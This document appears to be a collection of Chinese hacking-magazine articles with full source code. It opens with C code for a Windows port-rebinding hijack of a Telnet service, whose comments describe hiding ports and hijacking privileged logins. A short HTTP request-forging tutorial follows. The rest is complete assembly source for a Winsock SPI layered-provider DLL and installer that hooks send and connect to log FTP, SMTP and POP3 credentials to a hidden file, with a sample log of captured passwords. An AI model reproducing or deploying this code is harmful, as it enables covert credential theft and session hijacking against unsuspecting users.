DWORD ret;
WSADATA wsaData;
BOOL
        val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET
        s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD
        tid;
wVersionRequested = MAKEWORD( 2, 2 );
err =
        WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
        {
printf("error!WSAStartup failed!\n");
return
        -1;
}
saddr.sin_family = AF_INET;
//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了
saddr.sin_addr.s_addr
        = inet_addr("192.168.0.60");
saddr.sin_port =
        htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket
        failed!\n");
return -1;
}
val =
        TRUE;
//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char
        *)&val,sizeof(val))!=0)
{
printf("error!setsockopt
        failed!\n");
return
        -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击
if(bind(s,(SOCKADDR
        *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind
        failed!\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
sc =
        accept(s,(struct sockaddr
        *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt =
        CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread
        Creat
        Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return
        0;
}
DWORD WINAPI ClientThread(LPVOID
        lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned
        char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD
        val;
DWORD
        ret;
//如果是隐藏端口应用的话，可以在此处加一些判断
//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发
saddr.sin_family =
        AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port =
        htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket
        failed!\n");
return -1;
}
val =
        100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char
        *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return
        -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char
        *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return
        -1;
}
if(connect(sc,(SOCKADDR
        *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect
        failed!\n");
closesocket(sc);
closesocket(ss);
return
        -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
//如果是嗅探内容的话，可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
num
        = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else
        if(num==0)
break;
num =
        recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else
        if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return
        0 ;
}


注入工具原理和开发
“注入”这一词眼下可算得上时髦，“大街小巷”到处都能“听”到看到。这一词曾经让无数人“闻名色变”，今天我们的话题仍是注入。不过今天我们这里的这个注入不同于以往的，它有别于通常的SQL注入，可以说是一种新型的。平日里，人们在提交数据的时候都是采用页面形式。但是，今天我们这里就要打破这一传统观念。这种方法是通过自己构造HTTP请求报文，以程序的方式代替传统的方法，实现数据的自动提交。
在文章还未进入正题的时候，我就HTTP协议这个东西给大家再罗嗦两句。其实关于HTTP协议这个东西我本来都不想说的。但是，为了照顾大多数朋友。平日里，当我们在打开一个网站的时候，比如说http://www.36963.cn/，实际上IE作为一个客户端，它将向服务器发送的是如下的请求报文：
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-
powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: www.36963.cn
Connection: Keep-Alive
Cookie: NETEASE_SSN=hinrof; NETEASE_ADV=11&22; Province=0; City=0; NTES_UV_COOKIE=YES
从以上的报文中，我们可以看到很多字段，不过其中有很多并不是必须的，如果我们自己编程，只关心必要的就行了。在HTTP/1.1协议中规定了最小请求消息由方法字段（GET/POST/HEAD）和主机字段（HOST）构成。如上面的
GET /HTTP/1.1
HOST:www.36963.cn
但在HTTP/1.0中，HOST字段并不是必须的，至于这里为什么不能省，继续往下看。
GET和POST是浏览器向服务器提交报文通常所采用的两种方法。服务器在收到报文之后，解码分析出所需的数据并进行处理，最后返回结果。通常我们可以看到的都是像http://***.***.***.***/list.asp?id=***这样的URL请求，我们可以自己构造如下的报文来完成 。
GET /list.asp?id=*** HTTP/1.1
HOST:***.***.***.***
由于受URL长度1024的限制，所以GET方法通常是用在提交一些小数据的情况下。如果数据比较大就只能采用POST方法。在讲解POST方法的一些要点之前，大家还是先来看一段POST请求报文。
POST /huace/add.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-
powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwav
e-flash, */*
Referer: http://202.147.125.36/huace/add.php
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 202.147.125.36
Content-Length: 115
Connection: Keep-Alive
name=test&email=&comefrom=&homepage=&icq=&oicq=&image=say.gif&comment=test&password=&doadd=%B7%A2%CB%CD%C1%F4%D1%D4
与GET方法相比，在字段下面多了一段内容，这就是我们提交的数据，如果有中文须经过urlencode编码。同样让我们省去不必要的字段，构造一个最小的POST请求。
POST /huace/add.php HTTP/1.1
Host: 202.147.125.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 115
name=test&email=&comefrom=&homepage=&icq=&oicq=&image=say.gif&comment=test&password=&doadd=%B7%A2%CB%CD%C1%F4%D1%D4
上面的Content-Type字段表示为POST表单型的，Content-Length当然就是表示实体数据的长度了，这里都不能少，不然就无法正确接收了。这样，服务器端处理页面就会收到提交的数据，并接收处理。
上面不知不觉的讲了一大堆关于客户端的东西，接下来看服务器方面。当报文数据到达服务器后，服务器底层进程进行接收并放入特定的缓冲区，同时设置一些环境变量，如“CONTENT_LENGTH“、”QUERY_STRING“等，当然这其间还是屏蔽了一些底层细节的，如客户端提交的数据是怎么被重置到被请求页的标准输入的，在此我们就不做过多的考虑。之后高层应用程序如CGI、ASP、PHP等对其进行数据提取，其中CGI还须自己进行Unencode解码和字符串提取。假如向一个ASP程序提交数据，我提交了name和body字段，且采用POST表单方式提交，在ASP程序中应如下进行接收：
name=request.form("name")
body=request.form("body")
并添加到数据库中
rs.addnew
rs("name")=name
rs("body")=body
rs.update
到此，该讲的也基本上讲完了，同时这里我们还要注意一点就是我们在发送报文时，“name=value“URLEncode编码这个东西不能少，如果没有它，我们在向数据库写东西的时候有可能就会失败。同时我们在这里还要注意一个问题，当编译器处理的是中文字符时，它会自动根据字符的位7来读入一个或两个字符，这时可以强制采用unsigned char *来读入一个字符。
int isT(char ch)
{
if(ch==’ ’||ch==’%’||ch==’/’||ch&0x80) return 1;
else return 0;
}
int encode(char *s,char *d)
{
if(!s||!d) return 0;
for(;*s!=0;s++)
{
unsigned char
        *p=(unsigned char*)s;
if(*p==’ ’)
{
*d=’%’;
*(d+1)=’2’;
*(d+2)=’0’;
d+=3;
}
else if(isT(*p))
{
char
        a[3];
*d=’%’;
sprintf(a,"%02x",*p);
*(d+1)=a[0];
*(d+2)=a[1];
d+=3;
}
else
{
*d=*p;
d++;
}
}
*d=0;
return 1;
}

以下是Unencode URL解码函数：
int unencode(char *s,char *d)
{
if(!s||!d) return 0;
for(;*s!=0;s++)
{
if(*s==’+’)
{
*d=’ ’;
d++;
}
else if(*s==’%’)
{
int code;
if(sscanf(s+1,"%02x",&code)!=1) code=’?’;
*d=code;
s+=2;
d++;
}
else
{
*d=*s;
d++;
}
}
*d=0;
return 1;
}
……
作者： www.36963.cn
来 源： 《黑客防线》


使用masm32开发基于SPI的应用层SNIFFER

作者:czy82
安装程序spi.asm
DLL:spidll.asm
DLL生成后放在C盘下改名为rood.dll
编绎参数:
ml /c /coff spidll.asm
link /DLL /DEF:spidll.def /SUBSYSTEM:windows spidll.obj
ml /c /coff spi.asm
link /subsystem:CONSOLE spi.obj
dll的def文件
EXPORTS WSPStartup
在2KPRO下测试很稳定,效率要比C的高不少哟,俺可是一个指令一个指令的
优化过..

; #--------------------------------------# #
; # use SPIDLL Sniffer ftp(21),SMTP(25) # #
; # --->,pop3(110) password on local # #
; # # #
; # 2004.12.27 #
; # codz: czy # #
; #------------------------------------------# #
;
;smtp/pop3 sniffer test on Foxmail(5.0.800.0)Chinese Version
; OutLook Express(6.00.2800.1106)Chinese Version
;
;ftp sniffer test on CuteFTP(6.0 build 11.03.2004.1)English Version
; FlashFXP(3.0.2 build 1045)Chinese
; LeapFTP(2.7.4.602)English Version
; Internet Explorer (6.0.2800.1106)Chinese Version
;the ftp server is www.west263.com(ftp://61.139.126.13)
;the mail server is www.elong.com/www.126.com(smtp.elong.com/smtp.126.com/pop3.126.com)
;the logfile is c:\snifferpass.txt and format like this:
;220.181.31.176 -->this is a pop3 server's ip
;USER chenzy82
;PASS fuckyou
;220.181.31.171 -->this is a smtp server's ip
;Y2hlbnp5ODI= -->username
;MaExMaEx -->password by base64 encode
;ftp:61.139.126.13 -->this is a ftpserver ip
;USER anonymous
;PASS guest@my.net
;ftp:61.139.126.13 -->this is a ftpserver ip
;USER czy82
;PASS 111111
;note:the smtp password is base64 encode
; how to change pop3/smtp server's ip to host you can use
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\Ws2_32.inc
include \masm32\include\masm32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\Ws2_32.lib
includelib \masm32\lib\masm32.lib

WSAPROTOCOL_LEN equ 255
WSPDESCRIPTION_LEN equ 255
MAX_PROTOCOL_CHAIN equ 7
XP1_IFS_HANDLES equ 20000h
LAYERED_PROTOCOL equ 0
BASE_PROTOCOL equ 1
WSABASEERR equ 10000
WSAEPROVIDERFAILEDINIT equ WSABASEERR+106
WSPPROC_TABLE STRUCT
lpWSPAccept DD ?
lpWSPAddressToString DD ?
lpWSPAsyncSelect DD ?
lpWSPBind DD ?
lpWSPCancelBlockingCall DD ?
lpWSPCleanup DD ?
lpWSPCloseSocket DD ?
lpWSPConnect DD ?
lpWSPDuplicateSocket DD ?
lpWSPEnumNetworkEvents DD ?
lpWSPEventSelect DD ?
lpWSPGetOverlappedResult DD ?
lpWSPGetPeerName DD ?
lpWSPGetSockName DD ?
lpWSPGetSockOpt DD ?
lpWSPGetQOSByName DD ?
lpWSPIoctl DD ?
lpWSPJoinLeaf DD ?
lpWSPListen DD ?
lpWSPRecv DD ?
lpWSPRecvDisconnect DD ?
lpWSPRecvFrom DD ?
lpWSPSelect DD ?
lpWSPSend DD ?
lpWSPSendDisconnect DD ?
lpWSPSendTo DD ?
lpWSPSetSockOpt DD ?
lpWSPShutdown DD ?
lpWSPSocket DD ?
lpWSPStringToAddress DD ?
WSPPROC_TABLE ENDS

WSAPROTOCOLCHAIN STRUCT
ChainLen DD ?
ChainEntries DD MAX_PROTOCOL_CHAIN dup(?)
WSAPROTOCOLCHAIN ENDS

WSAPROTOCOL_INFOW STRUCT
dwServiceFlags1 DD ?
dwServiceFlags2 DD ?
dwServiceFlags3 DD ?
dwServiceFlags4 DD ?
dwProviderFlags DD ?
ProviderId GUID <?>
dwCatalogEntryId DD ?
ProtocolChain WSAPROTOCOLCHAIN <?>
iVersion DD ?
iAddressFamily DD ?
iMaxSockAddr DD ?
iMinSockAddr DD ?
iSocketType DD ?
iProtocol DD ?
iProtocolMaxOffset DD ?
iNetworkByteOrder DD ?
iSecurityScheme DD ?
dwMessageSize DD ?
dwProviderReserved DD ?
szProtocol Dw WSAPROTOCOL_LEN+1 dup(?)
WSAPROTOCOL_INFOW ENDS
WSPData STRUCT
wVersion WORD ?
wHighVersion WORD ?
szDescription DW WSPDESCRIPTION_LEN+1 dup(?)
WSPData ENDS

WSABUF STRUCT
len DWORD ?
buf DWORD ?
WSABUF ENDS
WSPUPCALLTABLE STRUCT
lpWPUCloseEvent DWORD ?
lpWPUCloseSocketHandle DWORD ?
lpWPUCreateEvent DWORD ?
lpWPUCreateSocketHandle DWORD ?
lpWPUFDIsSet DWORD ?
lpWPUGetProviderPath DWORD ?
lpWPUModifyIFSHandle DWORD ?
lpWPUPostMessage DWORD ?
lpWPUQueryBlockingCallback DWORD ?
lpWPUQuerySocketHandleContext DWORD ?
lpWPUQueueApc DWORD ?
lpWPUResetEvent DWORD ?
lpWPUSetEvent DWORD ?
lpWPUOpenCurrentThread DWORD ?
lpWPUCloseThread DWORD ?
WSPUPCALLTABLE ENDS
.data
hInstance dd 0
errorcode dd ?
protoinfo dd ?
totalprotos dd ?
protoinfosize dd ?
spiguid db 253,145,30,77,106,17,170,68,143,212,29,44,242,123,217,169,0
dllpath db 256 dup(?)
dllpath2 db 256 dup(?)
startupname db 'WSPStartup',0
nextproctable WSPPROC_TABLE <?>
usertag db 'USER',0
passtag db 'PASS',0
logpop db 'c:\snifferpass.txt',0
poptag dd ? ;记录标识
smtptag dd ?
ftptag dd ?
crlf db 0dh,0ah,0
ftphead db 'ftp:',0
.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD

.if reason==DLL_PROCESS_ATTACH ;dll加载时
push hInstDLL
pop hInstance

.endif
mov eax,TRUE
ret
DllEntry Endp
_CmpGUID proc whichguid:DWORD ,whichid:DWORD
mov ebx,whichid
.if whichguid==1
mov edx,offset spiguid
.endif
mov eax,[ebx]
mov ecx,[edx]
.if eax==ecx
add ebx,4
add edx,4
mov eax,[ebx]
mov ecx,[edx]
.if eax==ecx
add ebx,4
add edx,4
mov eax,[ebx]
mov ecx,[edx]
.if eax==ecx
add ebx,4
add edx,4
mov eax,[ebx]
mov ecx,[edx]
.if eax==ecx ;找到GUID相同的
mov eax,esi
ret

.else
jmp @@nextguid
.endif
.else
jmp @@nextguid
.endif
.else
jmp @@nextguid
.endif
.else
jmp @@nextguid
.endif
@@nextguid:
mov eax,0
ret
_CmpGUID endp
_GetFilter proc
mov protoinfo,NULL
mov totalprotos,0
mov protoinfosize,0

invoke WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
.if eax==SOCKET_ERROR
.if errorcode!=WSAENOBUFS
ret
.endif
.endif

invoke GlobalAlloc,GPTR,protoinfosize
.if eax==NULL
ret
.else
mov protoinfo,eax
.endif

invoke WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
.if eax==SOCKET_ERROR
ret
.else
mov totalprotos,eax
.endif

ret
_GetFilter endp
WSPSend proc s:DWORD,lpbuffer:DWORD,dwbuffercount:DWORD,lpnumberofbytessent:DWORD,dwflags:DWORD,lpoverlapped:DWORD,lpcompletionroutine:DWORD,lpthreadid:DWORD,lperrno:DWORD
local hpop:dword
local tag[5]:byte

mov esi,lpbuffer
assume esi:ptr WSABUF
.if poptag==1 || ftptag==1
mov edx,dword ptr [esi].buf
mov ecx,dword ptr [edx]
.if ecx=='RESU' || ecx=='SSAP' ;要反写
jmp @@logpop
.else
jmp @@callsyssend
.endif

.elseif smtptag==1
mov ecx,[esi].buf
add ecx,4 ;比较第五个字节是否是空格或0Dh
mov dl,byte ptr [ecx]
.IF dl==20H || dl==0dh || [esi].len>50d
JMP @@callsyssend
.ELSE
JMP @@logpop
.ENDIF

.else
jmp @@callsyssend
.endif

@@logpop:
;------------写记录文件
invoke CreateFile,offset logpop,GENERIC_WRITE,FILE_SHARE_READ,\
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
mov hpop,eax
invoke SetFilePointer,hpop,0,NULL,FILE_END
invoke SetEndOfFile,hpop ;文件指针放到文件尾
invoke _lwrite,hpop,[esi].buf,[esi].len
invoke CloseHandle,hpop
;------------
assume esi:nothing

@@callsyssend:
;执行系统的WSPSend
mov esi,offset nextproctable
assume esi:ptr WSPPROC_TABLE
mov eax,[esi].lpWSPSend
assume esi:nothing
push lperrno
push lpthreadid
push lpcompletionroutine
push lpoverlapped
push dwflags
push lpnumberofbytessent
push dwbuffercount
push lpbuffer
push s
call eax
ret
WSPSend endp
;----------------------------------挂接API的CONNECT函数得到连接的邮件服务器的IP
WSPConnect proc s:DWORD,name1:DWORD,namelen:DWORD,lpCallerData:DWORD,lpCalleeData:DWORD,lpSQOS:DWORD,lpGQOS:DWORD,lpErrno:DWORD
LOCAL hfile:DWORD
LOCAL ipaddress[25]:BYTE
LOCAL bufferlen:DWORD
mov edi,name1
assume edi:PTR sockaddr_in

;invoke htons,110
.if word ptr [edi].sin_port==6e00h ;110
mov poptag,1
mov smtptag,0
mov ftptag,0
.elseif word ptr [edi].sin_port==1900H ;25
mov smtptag,1
mov poptag,0
mov ftptag,0
.elseif word ptr [edi].sin_port==1500H ;21
mov ftptag,1
mov smtptag,0
mov poptag,0
invoke lstrcpy,addr ipaddress,offset ftphead
.else
mov poptag,0
mov smtptag,0
mov ftptag,0
jmp @@callsysconnect
.endif

push [edi].sin_addr ; 把网络名转化为ASCII格式的IP地址
call inet_ntoa
invoke lstrcat,addr ipaddress,eax
invoke lstrcat,addr ipaddress,offset crlf
;------------写记录文件
invoke CreateFile,offset logpop,GENERIC_WRITE,FILE_SHARE_READ,\
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
mov hfile,eax
invoke SetFilePointer,hfile,0,NULL,FILE_END
invoke SetEndOfFile,hfile
invoke lstrlen,addr ipaddress
invoke _lwrite,hfile,addr ipaddress,eax
invoke CloseHandle,hfile
;------------
assume edi:nothing
@@callsysconnect:
;调用系统自已的Connect
mov esi,offset nextproctable
assume esi:ptr WSPPROC_TABLE
mov eax,[esi].lpWSPConnect
assume esi:nothing
push lpErrno
push lpGQOS
push lpSQOS
push lpCalleeData
push lpCallerData
push namelen
push name1
push s
call eax
ret

WSPConnect ENDP
WSPStartup proc wversionrequested:WORD,lpwspdata:DWORD,lpprotoinfo:DWORD,upcalltable:WSPUPCALLTABLE,lpproctable:DWORD
LOCAL i:dword
local filterpathlen:dword
local layerid:dword
local nextlayerid:dword
local filterpath:dword
local hfilter:dword
local wspstartupfunc:dword
PUSH EBX
;测试自已的协议链是不是大于1
mov esi,lpprotoinfo
assume esi:ptr WSAPROTOCOL_INFOW
.if [esi].ProtocolChain.ChainLen<=1
mov eax,FALSE
RET
.endif
assume esi:nothing
invoke _GetFilter

;得到自已的提供者的ENTRYID给变量layerid
xor edi,edi
mov esi,protoinfo
assume esi:ptr WSAPROTOCOL_INFOW
.while edi<totalprotos
lea ebx,[esi].ProviderId
invoke _CmpGUID,1,ebx
.if eax!=0
lea ebx,layerid
mov ecx,[esi].dwCatalogEntryId
mov [ebx],ecx
.break
.endif
add esi,sizeof WSAPROTOCOL_INFOW
inc edi
.endw
assume esi:nothing
;得到自身协议链的的下一个ENTRYID,也就是系统DLL的ENTRYID给变量nextlayerid
xor edi,edi
mov esi,lpprotoinfo
assume esi:ptr WSAPROTOCOL_INFOW
.while edi<[esi].ProtocolChain.ChainLen ;一般长度为2
mov ebx,edi
imul ebx,4
mov eax,[esi].ProtocolChain.ChainEntries[ebx]
.if eax==layerid
add ebx,4
mov ecx,[esi].ProtocolChain.ChainEntries[ebx]
lea edx,nextlayerid
mov [edx],ecx
.break
.endif
inc edi
.endw
assume esi:nothing

;通过系统DLL的ENTRYID得到DLL的路径
xor edi,edi
mov esi,protoinfo
assume esi:ptr WSAPROTOCOL_INFOW
.while edi<totalprotos
mov eax,[esi].dwCatalogEntryId
.if eax==nextlayerid
mov filterpath,offset dllpath
mov filterpathlen,255 ;四个参数全部是指针
invoke WSCGetProviderPath,addr [esi].ProviderId,filterpath,addr filterpathlen,offset errorcode
.if eax==SOCKET_ERROR
mov eax,WSAEPROVIDERFAILEDINIT
ret
.else

.break
.endif
.endif
add esi,sizeof WSAPROTOCOL_INFOW
inc edi
.endw
assume esi:nothing
;得到DLL的绝对路径
invoke ExpandEnvironmentStringsW,offset dllpath,offset dllpath2,MAX_PATH
.if eax==0
mov eax,WSAEPROVIDERFAILEDINIT
ret
.endif
;加载系统的DLL一般是MSAFD.DLL
invoke LoadLibraryW,offset dllpath2
.if eax==NULL
mov eax,WSAEPROVIDERFAILEDINIT
ret
.else
mov hfilter,eax
.endif

;得到系统DLL的wspstartup初始化函数地址
invoke GetProcAddress,hfilter,offset startupname
.if eax==NULL
mov eax,WSAEPROVIDERFAILEDINIT
ret
.else
mov wspstartupfunc,eax
.endif
;调用系统DLL的初始化函数以得到30个WSP函数的入口地址,这些地址值的地址由lpproctable指针指向
;if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)
push lpproctable
; push upcalltable
mov ecx,0fh ;结构有15个成员每个成员4字节
sub esp,3ch ;ESP空出60个字节
lea esi,upcalltable
mov edi,esp
rep movsd
;对于一个函数的参数不是DWORD应该这样传参数
push lpprotoinfo
push lpwspdata
mov cx,word ptr wversionrequested
push ecx ;注意第一个参数是2字节
call wspstartupfunc
.if eax!=ERROR_SUCCESS
ret

.endif
;复质系统DLL初始化的地址到nextproctable结构中
mov esi,lpproctable
mov ecx,1eh ;30d
lea edi,nextproctable
rep movsd ;不能是repz movsd

;挂接wspsend
; lpproctable->lpWSPSend=WSPSend
mov edx,lpproctable
add edx,5ch
mov [edx],WSPSend
;挂接WSPConnect
mov edx,lpproctable
add edx,1ch
mov [edx],WSPConnect
;释放资源返回,以后当应用程序调用SOCKET API比如SEND的时候,WS2_32.DLL会加载我们的ROOD.DLL并调用我们的WSPSEND函数
invoke GlobalFree,protoinfo
xor eax,eax
pop ebx
ret
WSPStartup endp

End DllEntry

;-----------------------------------spi.asm------------------
.386
.model flat, stdcall
option casemap :none ; case sensitive
; #########################################################################
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\Ws2_32.inc
include \masm32\include\masm32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\Ws2_32.lib
includelib \masm32\lib\masm32.lib

WSAPROTOCOL_LEN equ 255
MAX_PROTOCOL_CHAIN equ 7
XP1_IFS_HANDLES equ 20000h
LAYERED_PROTOCOL equ 0
WSAPROTOCOLCHAIN STRUCT
ChainLen DD ?
ChainEntries DD MAX_PROTOCOL_CHAIN dup(?)
WSAPROTOCOLCHAIN ENDS

WSAPROTOCOL_INFOW STRUCT
dwServiceFlags1 DD ?
dwServiceFlags2 DD ?
dwServiceFlags3 DD ?
dwServiceFlags4 DD ?
dwProviderFlags DD ?
ProviderId GUID <?>
dwCatalogEntryId DD ?
ProtocolChain WSAPROTOCOLCHAIN <?>
iVersion DD ?
iAddressFamily DD ?
iMaxSockAddr DD ?
iMinSockAddr DD ?
iSocketType DD ?
iProtocol DD ?
iProtocolMaxOffset DD ?
iNetworkByteOrder DD ?
iSecurityScheme DD ?
dwMessageSize DD ?
dwProviderReserved DD ?
szProtocol Dw WSAPROTOCOL_LEN+1 dup(?)
WSAPROTOCOL_INFOW ENDS

.data
socketerror db 'sockterror',0
socketerror2 db 'Second WSCEnumProtocols Error',0
error3 db 'error install spi dll',0
error4 db 'error install udpfilter',0
error5 db 'error order',0
installok db 'order ok',0
nomem db 'nomem',0
findspi db 'findspi',0
nofindspi db 'cant findspi',0
errorcode dd ?
protoinfo dd ?
totalprotos dd ?
protoinfosize dd ?
szspibufferformat db '已经安装的SPI有:%d 个',0dh,0ah,0
szspibuffer db 300 dup(?)
ipinfo WSAPROTOCOL_INFOW <?>
udpinfo WSAPROTOCOL_INFOW <?>
chainarray WSAPROTOCOL_INFOW <?>
spiname db 300 dup (?)
crlf db 0dh,0ah,0
rawip dd ?
udpip dd ?
rood dw 'R','0','0','D',0 ;要定义成unicode格式
udprood dw 'R','0','0','D','U','D','P',0
spipath dw 'c',':','\','r','o','o','d','.','d','l','l',0
spiguid db 253,145,30,77,106,17,170,68,143,212,29,44,242,123,217,169,0
filterchainguid db 33,17,194,211,225,133,243,72,154,182,35,217,12,115,7,239,0
; filterchainguid={0xd3c21121,0x85e1,0x48f3,{0x9a,0xb6,0x23,0xd9,0x0c,0x73,0x07,0xef}};
ipid dd ?
udpid dd ?
provcnt dd ?
cataentries dd ? ;指向所有的ENTRIES
cataindex dd ?
.code
_CmpGUID proc whichguid:DWORD ,whichid:DWORD
mov ebx,whichid
.if whichguid==1
mov edx,offset spiguid
.elseif whichguid==0
mov edx,offset filterchainguid
.endif
mov eax,[ebx]
mov ecx,[edx]
.if eax==ecx
add ebx,4
add edx,4
mov eax,[ebx]
mov ecx,[edx]
.if eax==ecx
add ebx,4
add edx,4
mov eax,[ebx]
mov ecx,[edx]
.if eax==ecx
add ebx,4
add edx,4
mov eax,[ebx]
mov ecx,[edx]
.if eax==ecx ;找到GUID相同的
mov eax,esi
ret

.else
jmp @@nextguid
.endif
.else
jmp @@nextguid
.endif
.else
jmp @@nextguid
.endif
.else
jmp @@nextguid
.endif
@@nextguid:
mov eax,0
ret
_CmpGUID endp
_GetFilter proc
mov protoinfo,NULL
mov totalprotos,0
mov protoinfosize,0

invoke WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
.if eax==SOCKET_ERROR
.if errorcode!=WSAENOBUFS
invoke StdOut,offset socketerror
.endif
.endif

invoke GlobalAlloc,GPTR,protoinfosize
.if eax==NULL
invoke StdOut,offset nomem
.else
mov protoinfo,eax
.endif

invoke WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
.if eax==SOCKET_ERROR
invoke StdOut,offset socketerror2
.else
mov totalprotos,eax
.endif
invoke wsprintf,offset szspibuffer,offset szspibufferformat,totalprotos
invoke StdOut,offset szspibuffer

mov esi,protoinfo
assume esi:ptr WSAPROTOCOL_INFOW

xor edi,edi
.while edi<totalprotos
lea ebx,[esi].szProtocol
invoke WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0
invoke lstrcat,offset spiname,offset crlf
invoke StdOut,offset spiname
add esi,sizeof WSAPROTOCOL_INFOW
inc edi
.endw
assume esi:nothing

ret
_GetFilter endp
_InstallFilter proc
invoke _GetFilter ;得到服务提供者个数

;找到第一个符合要求的结构
mov esi,protoinfo
assume esi:ptr WSAPROTOCOL_INFOW
xor edi,edi
.while edi<totalprotos
.if rawip==FALSE && [esi].iAddressFamily==AF_INET && [esi].iProtocol==IPPROTO_IP
MOV rawip,TRUE

lea ebx,[esi].szProtocol
invoke WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0
invoke lstrcat,offset spiname,offset crlf
invoke StdOut,offset spiname
invoke RtlMoveMemory,offset ipinfo,esi,sizeof WSAPROTOCOL_INFOW

mov ebx,[esi].dwServiceFlags1
mov edx,XP1_IFS_HANDLES
not edx
and ebx,edx
mov ecx,offset ipinfo
assume ecx:ptr WSAPROTOCOL_INFOW
mov [ecx].ProtocolChain.ChainLen,LAYERED_PROTOCOL ;设置自已的低层服务提供者

mov [ecx].dwServiceFlags1,ebx

lea ebx,[ecx].szProtocol
invoke RtlMoveMemory,ebx,offset rood,12 ;设置SPI名字

assume ecx:nothing
.endif

;设置tcp协议链的WSAPROTOCOL_INFOW结构
.if udpip==FALSE && [esi].iAddressFamily==AF_INET && [esi].iProtocol==IPPROTO_TCP
MOV udpip,TRUE

lea ebx,[esi].szProtocol
invoke WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0
invoke lstrcat,offset spiname,offset crlf
invoke StdOut,offset spiname
nop
invoke RtlMoveMemory,offset udpinfo,esi,sizeof WSAPROTOCOL_INFOW

mov ebx,[esi].dwServiceFlags1
mov edx,XP1_IFS_HANDLES
not edx
and ebx,edx
mov ecx,offset udpinfo
assume ecx:ptr WSAPROTOCOL_INFOW
mov [ecx].dwServiceFlags1,ebx

lea ebx,udpid
mov edx,[ecx].dwCatalogEntryId ;保存系统存在的TCP提供者的ID
mov [ebx],edx

assume ecx:nothing
.endif
add esi,sizeof WSAPROTOCOL_INFOW
inc edi
.endw
assume esi:nothing

;安装DLL
;GUID filterguid={0x4d1e91fd,0x116a,0x44aa,{0x8f,0xd4,0x1d,0x2c,0xf2,0x7b,0xd9,0xa9}};
;mov esi,offset spiguid
;assume esi:ptr GUID
; mov [esi].Data1,1sdfsadfh
; mov [esi].Data2,116ah
; mov [esi].Data3,44aah
; mov [esi].Data4,8fd41d2cf27bd9a9h
; assume esi:nothing
invoke WSCInstallProvider,offset spiguid,offset spipath,offset ipinfo,1,offset errorcode
.if eax==SOCKET_ERROR
invoke StdOut,offset error3
.endif
